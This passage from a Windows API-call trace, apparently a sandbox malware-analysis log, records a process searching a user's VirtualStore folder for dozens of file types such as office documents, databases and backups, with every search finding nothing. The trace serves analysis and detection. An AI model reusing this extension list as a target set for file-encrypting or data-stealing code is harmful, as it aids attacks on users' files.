HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.596] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.596] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.pst", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.596] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.597] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.597] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.ppsx", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.597] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.597] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.597] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.ppsm", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.597] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.597] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.597] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.pps", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.598] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.598] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.598] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.pot", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.598] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.598] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.598] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.pptm", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.598] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.598] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.598] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.pptx", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.599] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.599] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.599] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.ppt", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.599] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.599] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.599] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.Zhon", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.599] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.599] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.599] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.xltm", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.600] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.600] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.600] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.xltx", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.600] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.600] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.600] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.xlc", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.601] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.601] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.601] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.xlm", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.601] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.601] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.601] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.xlt", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.601] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.602] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.602] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.xlw", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.602] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.602] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.xlsb", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.602] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.xlsm", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.602] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.xlsx", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.603] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.xls", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.603] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.dotm", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.603] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.dot", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.604] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.docm", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.604] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.docx", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.604] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.doc", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.604] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.ndf", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.605] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.pdf", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.605] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.ib", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.605] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.ibk", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.605] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.mo", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.606] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.strings", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.606] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.nib", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.606] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.sh", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.606] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.log", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.607] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.swidtag", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.607] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.grd", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.607] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.sig", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.607] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.spm", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.608] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.cat", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.608] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.tlb", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.608] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.sres", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.608] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.hiv", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.609] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.resources", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.609] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.3da", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.609] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.3ws", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.609] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.chm", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.610] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.3tf", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.610] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.glf", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.610] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.sqlite", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.610] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.version", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.611] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.manifest", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.611] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.config", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.611] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.gst", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.611] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.ind", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.612] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.id", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.612] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.map", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.612] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.prj", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.612] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.lic", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.613] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.prm", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.613] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.rss", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.613] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.sbo", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.613] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.cod", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.614] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.setup", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.614] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.glf", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.614] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.netmodule", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.614] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.vib", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.615] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.tib", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.615] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.$$$", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.615] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.$DB", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.615] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.001", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.616] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.001", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.616] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.002", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.616] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.003", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.616] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.113", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.617] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.73B", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.617] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.__A", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.617] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.__B", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.617] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.AB", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.618] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.ABA", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.618] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.ABBU", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.618] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.combo", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.618] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 